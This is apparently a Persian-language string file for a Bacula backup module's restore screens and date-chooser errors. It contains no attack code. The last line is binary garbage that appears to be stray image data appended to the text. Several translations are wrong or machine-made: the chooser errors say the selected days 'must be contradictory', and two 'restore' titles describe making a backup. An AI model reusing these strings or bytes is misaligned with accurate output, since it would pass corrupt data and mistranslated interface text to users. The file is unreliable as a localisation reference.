chooser_eweekdaynumsrange=شماره های منتخب روزهای هفته باید متناقض باشند
chooser_edaysrange=روزهای منتخب ماه باید متناقض باشد

weekdaynum_1=اولین
weekdaynum_2=دومین
weekdaynum_3=سوم
weekdaynum_4=چهارم
weekdaynum_5=پنجم

restore_title=بازگرداندن پشتیبان
restore_title2=تهیه نسخه پشتیبان از گروه Bacula
restore_title3=تهیه نسخه پشتیبان تهیه Bacula Group
restore_header=گزینه هایی برای بازیابی کار پشتیبان قبلی
restore_job=کار برای بازیابی
restore_files=پرونده ها برای بازیابی
restore_client=بازیابی مجدد به مشتری یا گروه
restore_storage=بازیابی از دستگاه ذخیره سازی
restore_where=بازیابی به فهرست
restore_where2=فهرست اصلی
restore_ewhere=برای بازگشت به فهرست موجود نیست
restore_ok=اکنون بازیابی شود
restore_err=بازیابی نسخه پشتیبان انجام نشد
restore_efiles=هیچ پرونده ای وارد نشده است
restore_ejob=شناسه کار نامعتبر است
restore_ejobfiles=هیچ پرونده ای برای کار ثبت نشده است
restore_run=شروع بازیابی$1 به مشتری$2 از ذخیره$3.
restore_return=بازگرداندن فرم
restore_eok=.. کار شروع نشد
restore_running=.. بازیابی در حال اجرا است. پس از اتمام ، نتایج زیر نشان داده می شوند ..
restore_running2=.. بازیابی در پس زمینه شروع شده است.
restore_done=.. بازیابی کامل.
restore_failed=.. بازیابی با موفقیت کامل نشد. پیغام خطای فوق را برای جزئیات بیشتر بررسی کنید.
restore_clist=- مشتری -
restore_glist=- گروههای Bacula--
restore_eclient=هیچ مشتری یا گروه Bacula انتخاب نشده است
restore_egroup=گروه باكولا وجود ندارد
restore_jlist=- مشاغل یک سیستم -
restore_njlist=- مشاغل گروه Bacula--
restore_all=- کلیه مشتریان در گروه -
restore_eclients=هیچ یک از اعضای پشتیبان گروه Bacula یافت نشد!
restore_eall1=گزینه <b>کلیه مشتریان در تهیه نسخه پشتیبان باید</b> در هنگام بازگرداندن کار گروه Bacula ، برای <b>بازگرداندن به مشتری یا گروه انتخاب شود</b>
restore_eall2=گزینه <b>کلیه مشتریان در پشتیبان گیری</b> فقط در هنگام بازگرداندن کار گروه Bacula ، می توانید برای <b>بازیابی به مشتری یا گروه انتخاب کنید</b>
restore_enofiles=هیچکدام از پرونده های انتخاب شده در نسخه پشتیبان قرار ندارند
restore_level_F=پر شده
restore_level_D=دیفرانسیل
restore_level_I=افزایشی
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`